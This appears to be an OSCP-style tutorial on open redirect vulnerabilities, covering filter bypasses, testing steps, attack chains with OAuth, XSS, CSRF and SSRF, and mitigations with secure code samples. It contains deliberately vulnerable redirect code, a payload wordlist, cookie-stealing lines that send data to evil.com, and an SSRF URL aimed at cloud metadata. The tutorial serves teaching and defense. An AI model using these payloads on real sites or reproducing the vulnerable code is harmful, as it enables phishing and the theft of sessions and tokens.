Open Redirect
Overview
An Open Redirect vulnerability occurs when a web application accepts an untrusted source that specifies a URL (or Uniform Resource Identifier, URI) to which the application should redirect the user, without sufficient validation. The attacker can exploit this to construct a redirect URL that points to a malicious site of their choosing, while making the URL appear to originate from a trusted, legitimate domain.
Open redirects are rarely exploitable on their own for direct code execution or data theft. Their primary value lies in social engineering amplification — making phishing attacks more credible because the URL begins with a trusted domain. In OSCP scenarios, open redirects are frequently combined with OAuth authorization flows, XSS, or CSRF to achieve meaningful impact.
Why Open Redirects Matter
| Impact Area | Description |
|---|---|
| Phishing Credibility | https://legit-bank.com/redirect?url=http://evil.com looks legitimate at a glance |
| OAuth Abuse | Steal authorization codes by redirecting the callback to attacker-controlled domain |
| XSS Amplification | javascript: protocol redirects can execute arbitrary JavaScript |
| CSRF Enhancement | Chain redirect to CSRF payload to bypass Referer-based protections |
| Credential Harvesting | Redirect post-login to a fake page that looks identical to the real app |
Technical Deep Dive
How Open Redirects Work
A typical vulnerable redirect endpoint looks like this:
<?php
// VULNERABLE - no validation
$url = $_GET['url'];
header("Location: $url");
exit;
?>
Or in a login flow:
# Flask example - VULNERABLE
@app.route('/login')
def login():
next_page = request.args.get('next', '/')
# ... authentication logic ...
return redirect(next_page) # No validation!
The application accepts a URL parameter and redirects the user without verifying that the destination is within the trusted domain. The attacker simply replaces the intended destination with their own malicious URL.
Common Vulnerable Patterns
| Pattern | Code Example | Vulnerability |
|---|---|---|
| Direct redirect | redirect($_GET['url']) |
Full control over destination |
| Post-login redirect | redirect($_GET['next']) |
Redirect after authentication |
| OAuth callback | redirect_uri parameter |
Authorization code theft |
| URL shortener | Short URL service redirects | Abused for phishing links |
| SSO integration | SAML/SSO return URLs | Session hijacking |
| Payment redirect | Return URL after payment | Transaction manipulation |
Exploitation Patterns and Filter Bypasses
Pattern 1: Direct URL Injection
The simplest form — the application directly uses the parameter value:
https://legit.com/redirect?url=http://evil.com/phishing
https://legit.com/login?next=http://evil.com/fake-login
Pattern 2: Protocol-Relative URLs
If the filter checks for http:// or https://, use protocol-relative URLs:
//evil.com → resolves to https://evil.com (insecure context: http://evil.com)
//evil.com/path?param=value
Pattern 3: URL Encoding Bypasses
Single and double encoding to evade WAFs and input filters:
# Single URL encoding
?url=http%3A%2F%2Fevil.com
# Double URL encoding (decoded twice by the framework)
?url=http%253A%252F%252Fevil.com
# Partial encoding (encode just the protocol)
?url=http://evil%2Ecom
?url=http%3A//evil.com
?url=http%253A//evil.com
Pattern 4: Whitespace and Special Character Injection
Inject control characters that get stripped or normalized during processing:
# Tab character (0x09)
?url=http%09://evil.com
# Newline (0x0A)
?url=http%0A://evil.com
# Carriage return (0x0D)
?url=http%0D://evil.com
# Space (0x20)
?url=http%20://evil.com
# Null byte (0x00) - works in older applications
?url=http://evil.com%00.legit.com
# Backslash (some browsers normalize \ to /)
?url=\evil.com
?url=\\evil.com
Pattern 5: Dot and Path Manipulation
# Leading dots
?url=.//evil.com
?url=../evil.com
# URL with trailing slash manipulation
?url=/\/\/evil.com
# Unicode encoding
?url=http://%65%76%69%6c.com # "evil" in hex Unicode
Pattern 6: JavaScript and Data URI Protocols
If the redirect is implemented via JavaScript location.href or similar:
# JavaScript protocol
?url=javascript:alert(document.cookie)
?url=javascript:document.location='http://evil.com/?c='+document.cookie
# Data URI
?url=data:text/html,<script>alert(1)</script>
?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Pattern 7: Parameter Pollution and Truncation
# HTTP Parameter Pollution (first/last parameter wins depending on framework)
?url=/valid/path?url=http://evil.com
# Long parameter truncation (if server truncates to N chars)
?url=http://evil.comXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# If server strips trailing chars and appends ".legit.com", the result is http://evil.com
Pattern 8: Redirect Chain Bypass
If the filter checks against a whitelist of domains, use an intermediate redirect:
# Step 1: Attacker hosts a redirect page on evil.com
# Step 2: evil.com immediately redirects to the final malicious page
# Step 3: Victim visits legit.com/redirect?url=http://evil.com
# The filter sees "evil.com" passes (or is not blocked), then gets chained
Pattern 9: Unicode and IDN Homograph Attacks
# Cyrillic 'а' (U+0430) looks like Latin 'a'
?url=http://аpple.com # Looks like apple.com but isn't
# Punycode encoding
?url=http://xn--80ak6aa92e.com # IDN encoding of Cyrillic domain
Pattern 10: Fragment and Query String Bypasses
# Fragment-based (some frameworks process # as part of URL)
?url=/legit#http://evil.com
# Query string within query string
?url=http://evil.com?redirect=http://legit.com
Complete Exploitation Workflow
Step-by-Step Testing Methodology
Phase 1: Reconnaissance
- Identify redirect endpoints — Search for parameters like
url,next,redirect,redirect_uri,return,dest,destination,goto,target,continue,returnTo,r,redir:
# Using Burp Suite or grep to find redirect parameters
grep -r "redirect\|Location:\|header.*Location" /path/to/source/
# Using ffuf to discover redirect endpoints
ffuf -u https://target.com/FUZZ -w redirect_params.txt -mc 302
- Map the redirect logic — Test with a known-good internal URL and an external URL to understand the filtering behavior:
# Test with internal URL (should work)
https://target.com/redirect?url=/dashboard
# Test with external URL (does it redirect?)
https://target.com/redirect?url=http://google.com
# Test with protocol-relative URL
https://target.com/redirect?url=//google.com
Phase 2: Filter Analysis
- Determine what is being filtered — Systematically test each bypass technique:
# Test each bypass pattern
https://target.com/redirect?url=http://evil.com # Direct
https://target.com/redirect?url=//evil.com # Protocol-relative
https://target.com/redirect?url=http%3A%2F%2Fevil.com # URL encoded
https://target.com/redirect?url=\evil.com # Backslash
https://target.com/redirect?url=.//evil.com # Dot prefix
https://target.com/redirect?url=http%09://evil.com # Tab injection
https://target.com/redirect?url=javascript:alert(1) # JS protocol
- Check for domain whitelisting — If direct external URLs are blocked, check if the filter is a simple prefix/suffix check:
# Subdomain trick
?url=http://legit.com.evil.com
# Path-based trick (if only domain is checked)
?url=http://evil.com@legit.com
# URL with embedded domain
?url=http://evil.com/legit.com
Phase 3: Exploitation
- Craft the exploit URL — Once a working bypass is found, construct the final phishing URL:
# Basic phishing
https://target.com/login?next=http://evil.com/phishing-page
# OAuth abuse (steal authorization code)
https://target.com/oauth/authorize?redirect_uri=http://evil.com/callback&client_id=xxx&response_type=code
# Post-authentication redirect
https://target.com/auth/callback?redirect=http://evil.com/steal-session
- Deliver to the victim — Use the crafted URL in phishing emails, messages, or social engineering campaigns.
Advanced Attack Scenarios
Scenario 1: OAuth Authorization Code Theft
This is one of the most impactful open redirect scenarios. OAuth flows use a redirect_uri parameter to specify where the authorization code should be sent after user consent.
# Legitimate flow
https://target.com/oauth/authorize?
client_id=legit_app&
redirect_uri=https://legit-app.com/callback&
response_type=code
# Attacker modifies redirect_uri
https://target.com/oauth/authorize?
client_id=legit_app&
redirect_uri=http://evil.com/steal-code&
response_type=code
# After victim authorizes, the authorization code is sent to evil.com
# Attacker exchanges code for access token
Scenario 2: Open Redirect + XSS
If the redirect parameter is also reflected in the page (e.g., in an error message), combine with XSS:
# If the URL parameter is reflected in the response
https://target.com/redirect?url="><script>alert(document.cookie)</script>
# Or use javascript: protocol if redirect uses location.href
https://target.com/redirect?url=javascript:alert(document.cookie)
Scenario 3: Open Redirect + CSRF
Use the redirect to bypass Referer-based CSRF protections:
# Step 1: Open redirect sends victim from legit.com to attacker's page
# Step 2: Attacker's page has CSRF form targeting legit.com
# Step 3: The Referer header shows legit.com (from the redirect), bypassing the check
Scenario 4: SSRF via Open Redirect
If the server-side redirect makes an HTTP request (rather than a 302 response):
# Server fetches the URL instead of redirecting the browser
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
Detection and Testing Methodology
Automated Detection
# Using Burp Suite
# 1. Intercept a request with a redirect parameter
# 2. Send to Intruder
# 3. Use the "Open Redirect" payload list
# 4. Look for 302 responses pointing to external domains
# Using Nuclei
nuclei -u https://target.com -t http/vulnerabilities/open-redirect.yaml
# Using custom wordlist with ffuf
ffuf -u https://target.com/redirect?url=FUZZ \
-w open_redirect_payloads.txt \
-mc 301,302,303,307,308 \
-fr "evil.com"
Manual Testing Checklist
- Identify all redirect parameters in URLs and forms
- Test with external URLs (http://evil.com)
- Test protocol-relative URLs (//evil.com)
- Test URL-encoded payloads
- Test whitespace injection (%09, %0A, %0D, %20)
- Test backslash substitution
- Test JavaScript and data URI protocols
- Test double URL encoding
- Test null byte injection
- Test parameter pollution
- Test Unicode and IDN homograph attacks
- Test fragment-based bypasses
- Check if redirect is client-side (JS) or server-side (HTTP header)
- Test OAuth redirect_uri parameter specifically
- Verify the redirect destination in the HTTP response (Location header)
Open Redirect Payload Wordlist (Essential)
http://evil.com
https://evil.com
//evil.com
http:////evil.com
/\\/evil.com
/\evil.com
\\evil.com
http://google.com@google.com
http://evil.com\@google.com
/javascript:alert(1)
/data:text/html,<script>alert(1)</script>
http%3A%2F%2Fevil.com
http%253A%2F%252Fevil.com
%09evil.com
%0Aevil.com
%0Devil.com
//google.com/search?q=
Mitigation Strategies
Server-Side Defenses
| Strategy | Implementation | Effectiveness |
|---|---|---|
| Whitelist Domains | Maintain an allowlist of permitted redirect domains; reject all others | Very High |
| Path-Only Redirects | Accept only relative paths (/dashboard), not full URLs |
Very High |
| Domain Prefix Check | Verify the redirect URL’s hostname matches the application domain | High |
| Default Redirect | If the URL is invalid or missing, redirect to a safe default page | High |
| Remove Redirect Feature | Eliminate unnecessary redirect functionality entirely | Very High |
| Use Indirect References | Map redirect tokens to server-side stored URLs instead of passing raw URLs | Very High |
Code Examples for Secure Redirects
# Python/Flask - Secure redirect with domain validation
from urllib.parse import urlparse
ALLOWED_HOSTS = {'example.com', 'www.example.com'}
def safe_redirect(url):
parsed = urlparse(url)
if parsed.netloc and parsed.netloc not in ALLOWED_HOSTS:
# Invalid external domain - redirect to default
return redirect('/')
return redirect(url)
<?php
// PHP - Path-only redirect (safest approach)
$path = $_GET['next'] ?? '/';
// Ensure it's a relative path only
if (strpos($path, '://') !== false || strpos($path, '//') === 0) {
$path = '/'; // Reject absolute URLs
}
// Ensure it starts with /
if (strpos($path, '/') !== 0) {
$path = '/' . $path;
}
header("Location: $path");
exit;
?>
// Java/Spring - Using RedirectAttributes with validation
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url, RedirectAttributes attrs) {
try {
URI target = new URI(url);
if (target.isAbsolute() && !target.getHost().equals("example.com")) {
return "redirect:/"; // Safe default
}
return "redirect:" + url;
} catch (URISyntaxException e) {
return "redirect:/";
}
}
Key Mitigation Principles
- Never trust user-supplied URLs — Always validate on the server side
- Prefer relative paths — Accept
/pathinstead ofhttp://domain/path - Use an allowlist — Define which domains are acceptable for redirects
- Normalize before checking — Resolve encoding, Unicode, and special characters before validation
- Fail safely — Default to a safe page rather than an untrusted URL
OSCP Exam Relevance
How Open Redirects Appear on OSCP
Open redirect vulnerabilities are commonly found in OSCP lab machines, particularly in:
- Web applications with login flows — The
nextorredirectparameter after authentication - OAuth implementations — Custom OAuth flows with
redirect_uriparameters - SSO integrations — Single sign-on return URL parameters
- URL shorteners — Machines that implement URL shortening functionality
Typical OSCP Exploitation Chain
1. Find open redirect in login flow
2. Combine with stolen session cookie (from XSS or other vulnerability)
3. Use redirect to phish admin credentials
4. OR: Use redirect in OAuth flow to steal authorization code
5. OR: Chain with CSRF to perform authenticated actions
OSCP Tips
- Always check redirect parameters during web app enumeration — they are easy to miss
- Test both server-side (302) and client-side (JS) redirects — both can be vulnerable
- Look for the redirect in the HTTP response headers —
Location:header is the key indicator - Combine with other vulnerabilities — open redirects alone rarely give shell access
- Use Burp Suite’s “Copy as curl command” to test redirect behavior from the terminal
- Check OAuth flows specifically —
redirect_uriis a high-value target
Practice Commands
# Test redirect with curl (follow redirects)
curl -v -L "https://target.com/redirect?url=http://evil.com"
# Check the Location header without following
curl -s -o /dev/null -D - "https://target.com/redirect?url=http://evil.com"
# Test with Burp Intruder payload list
# Save payloads to file and use Intruder Sniper mode
Summary
Open redirect vulnerabilities are a foundational web attack that serves as an amplifier for other attack vectors. While rarely exploitable in isolation, they significantly enhance phishing attacks, OAuth abuse, and social engineering campaigns. The key to successful exploitation is understanding the specific filtering mechanism in place and finding the right bypass technique. In OSCP scenarios, always look for ways to chain open redirects with other vulnerabilities for maximum impact.
The most effective mitigation is to avoid accepting full URLs from users — use relative paths or server-side token mapping instead. When full URLs are necessary, implement strict domain allowlisting with proper URL normalization before validation.